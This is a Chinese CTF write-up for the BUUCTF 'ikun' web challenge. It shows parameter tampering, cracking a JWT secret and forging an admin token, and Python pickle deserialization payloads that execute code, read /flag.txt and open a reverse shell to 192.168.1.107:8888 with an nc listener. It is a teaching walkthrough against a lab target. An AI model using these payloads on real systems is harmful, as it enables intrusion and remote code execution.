复现平台:buuctf
这题很是复杂,我也是研究了整整一天,发出来供诸位参考参考。
打开题目,脑海里不自觉的就想到了鸡你太美,为了守护世界上最好kunkun,必须搞出这题。
打开页面,是一个类似的商城页面,提示
下面是各种等级的B站账号,显然这题是想要我们购买一个lv6的账号,随便翻卡了几页还是没有看见lv6。
我们来抓包看看
可以通过传page的值来跳到指定页。硬找肯定不行,不如我们来研究一下lv6的特点。
查看源码,发现不同等级的账号对应图片都有规律,lv3对应的就是lv3.png,因此我们可以写一个python脚本来搜索lv6到底在哪一页。
import requests
re = requests.session()
url = "http://ecf2b7e3-8f93-4dc4-b7f6-971e2808110c.node3.buuoj.cn/shop?page="
for i in range(0,1000):
req = re.get(url+str(i))
if "lv6.png" in req.text:
print(i)
break
运行结果为181
我们通过抓包跳转到181页,果然发现了尊贵的lv6
打开购买,还没账号哈哈,果断注册一个。这里我尝试注册一个admin账号,可惜行不通。
这个lv6可是一个天价账号,但是不要心慌,抓包看一下。
这个discount对应的折扣的比例,我们将他改的很小,比如0.0000000001,这才配得上尊贵的ikun的身份。
购买成功,但是这才刚刚开始。
我们再来分析一下包,看看什么地方代表了我们的身份。
不难发现
有个在线网站 http://jwt.io/,输入刚才的jwt字符串可以得到
不难看出username对应我们的用户名,我们只需要将这里改成admin即可,但是我们还不知道他的jwt字符串的加密密码,我们可以使用c-jwt-cracker来破解密码。
https://github.com/brendan-rius/c-jwt-cracker (穷举暴力破解)
如果想用python的话,可以试试这个库https://github.com/mazen160/jwt-pwn ,但是这个库的破解方式是基于字典的,需要自己生成字典,感觉没有上面那个好用。但是这个库是基于PyJwt实现的,相对于c-jwt-cracker 来说支持的算法更多,c-jwt-cracker只能破解HS256算法。
我们解出密码1Kun。
接下来只要修改username为admin 进行加密,得到新的jwt字符串既可。
1.直接在刚才的网页上修改生成即可。
2.这里提供一个python的实现方法,需要PyJwt库。
import jwt
headers = {
'alg': "HS256", # 声明所使用的算法
'typ': "JWT"
}
token ={
'username': "admin"
}
jwt_token = jwt.encode(token,
"1Kun",
"HS256",
headers
).decode("ascii")
print(jwt_token)
我们将生成的jwt串替换原来的,再次刷新页面。
点击按钮没反应,我们查看源码
原来有源码泄露,下载下来查看,发现存在Pickle反序列化。(views\Admin文件)
我们可以通过构造类,通过__reduce的魔术方法来实现执行python代码。具体原理在此不做介绍。
第一步我们肯定是需要找到flag的位置,有两种方法来做。
1.通过执行python命令来获取
我看网上的wp都是通过反射来实现获取flag的位置,但是我觉得没必要这么麻烦,因此也是研究了一天,终于找到了可以输出到页面上的方法。代码如下
#!/usr/bin/python
# -*- coding: utf-8 -*-
import pickle
import urllib
import os
class payload(object):
def __reduce__(self):
return (os.listdir,('/',))
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
a = urllib.quote(a)
print a
注:
1.这里说一说我踩到的坑,利用os.system('ls')并不会在页面回显ls的查询结果,而是0(表示查询成功)(也就是说os.system并不会return 输出结果,他的结果是通过print输出的,同理,os.popen也是如此,同样不会返回结果)
2.学习了一波大佬的写法return (eval,("__import__('os').popen('ls').read()",)) 这种写法就可以回显所有系统命令的执行结果。给跪了。
通过os.listdir()函数来获取目录下所有文件的名字。这里我们设置起始为根目录。
将序列化的字符串替换become中的参数(点击一键成为大会员按钮,抓包发现有become参数,替换become参数)
发现flag.txt
2.通过反射
#python2
import pickle
import urllib
import os
class exp(object):
def __reduce__(self):
s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
return os.system, (s,)
e=exp()
poc = pickle.dumps(e)
print urllib.quote(poc)
#目标ip改为服务器ip,端口设置可以任意设置
然后在服务器运行nc -lvp 端口号 即可。
buuctf平台的靶机并不能远程访问,所以在此给出方法,没办法复现。
获得flag位置后,我们可以通过构造
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt').read()",))
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
print(urllib.quote(a))
成功获取flag
通过这一个题目确实学到了许多,没想到python居然和php一样存在反序列化漏洞,学到了学到了。